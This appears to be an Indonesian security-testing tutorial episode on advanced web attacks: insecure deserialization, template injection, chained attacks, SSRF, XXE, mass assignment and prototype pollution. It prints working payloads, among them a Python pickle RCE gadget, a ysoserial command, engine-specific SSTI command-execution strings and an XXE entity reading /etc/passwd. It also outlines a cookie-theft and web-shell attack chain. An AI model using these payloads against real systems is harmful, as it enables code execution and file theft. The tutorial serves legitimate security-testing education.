Belajar Security Tester - Advanced Web Attacks Testing

#Pendahuluan

Setelah di episode 20 kita menguji compliance, pada episode ini kita masuk ke advanced attacks — serangan yang jarang ditemukan oleh scanner dan membutuhkan pemahaman mendalam tentang bagaimana aplikasi bekerja di tingkat rendah.

#Insecure Deserialization

#Apa itu Deserialization?

Aplikasi sering mengubah object menjadi format yang bisa disimpan/ditransfer (serialization) dan mengubahnya kembali (deserialization). Jika proses ini tidak aman, attacker bisa menyuntikkan kode berbahaya.

#Contoh (Java)

java

// Vulnerable deserialization
ObjectInputStream ois = new ObjectInputStream(inputStream);
Object obj = ois.readObject();  // Bisa dieksploitasi

#Testing

bash

# Test dengan serialized object yang dimanipulasi
# 1. Intercept request yang mengandung serialized data
# 2. Modifikasi serialized object
# 3. Kirim dan cek apakah kode dieksekusi

#Tools

bash

# ysoserial untuk Java deserialization
java -jar ysoserial.jar CommonsCollections1 "calc.exe" > payload.bin
 
# Python deserialization
import pickle
import os
 
class Exploit(object):
    def __reduce__(self):
        return (os.system, ('calc.exe',))
 
payload = pickle.dumps(Exploit())

#Server-Side Template Injection (SSTI)

#Testing

bash

# Test SSTI dengan template expression
curl "http://localhost:3000/render?name={{7*7}}"
curl "http://localhost:3000/render?name=${7*7}"
 
# Jika response = 49, template injection mungkin possible

#Payload per Engine

text

Template Engine Payloads:
├── Twig (PHP): {{_self.env.registerUndefinedFilterCallback("exec")}}({{id}})
├── Jinja2 (Python): {{config.__class__.__init__.__globals__['os'].popen('id').read()}}
├── Handlebars (Node): {{#with "s" as |string|}}{{#with "e"}}{{#with split as |conslist|}}{{this.pop}}{{this.push (lookup string.sub "constructor")}}{{this.pop}}{{#with string.sub as |cconslist|}}{{this.pop}}{{this.push (lookup cconslist "constructor")}}{{this.pop}}{{cconslist.call "return require('child_process').execSync('id');"}}{{/with}}{{/with}}{{/with}}{{/with}}
└── FreeMarker (Java): <#assign ex="freemarker.template.utility.Execute"?new()> ${ex("id")}

#Chained Attacks

#Kombinasi Vulnerability

text

Chained Attack Example:
├── Step 1: XSS untuk mencuri session cookie
├── Step 2: Gunakan session untuk akses admin
├── Step 3: Upload web shell via file upload
├── Step 4: Execute command via web shell
└── Impact: Full server compromise

#SSRF → RCE Chain

bash

# 1. SSRF ke internal service
curl "http://localhost:3000/api/fetch?url=http://internal-api:8080/admin"
 
# 2. Internal service punya command injection
curl "http://internal-api:8080/admin?cmd=ls"
 
# 3. Dapatkan akses ke server

#Other Advanced Attacks

#XML External Entity (XXE)

xml

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>

#Mass Assignment

bash

# Manipulate request untuk assign field yang tidak seharusnya
curl -X POST http://localhost:3000/api/user/update \
  -H "Authorization: Bearer <token>" \
  -d '{"name":"new name","role":"admin"}'

#Prototype Pollution (JavaScript)

bash

# Test prototype pollution
curl -X POST http://localhost:3000/api/merge \
  -H "Content-Type: application/json" \
  -d '{"__proto__":{"admin":true}}'

Warning

Advanced attacks membutuhkan pemahaman mendalam tentang teknologi yang digunakan. Sebelum menguji, pastikan kalian memahami bagaimana aplikasi memproses data di tingkat rendah.

#Praktik: Advanced Attack Testing

bash

# 1. SSTI test
curl "http://localhost:3000/render?name={{7*7}}"
 
# 2. XXE test
curl -X POST http://localhost:3000/api/parse \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><root>&xxe;</root>'
 
# 3. Mass assignment test
curl -X POST http://localhost:3000/api/user/update \
  -d '{"name":"test","role":"admin"}'

#Penutup

Deserialization: pastikan deserialization tidak eksekusi kode arbitrer.
SSTI: test template injection dengan mathematical expressions.
Chained attacks: kombinasikan beberapa vulnerability untuk dampak lebih besar.
XXE: pastikan XML parser tidak memproses external entities.

Di episode 22 selanjutnya kita akan membahas AI-assisted security testing — menggunakan AI untuk generate test cases, triage findings, dan auto-fix vulnerabilities. Sampai jumpa di episode 22!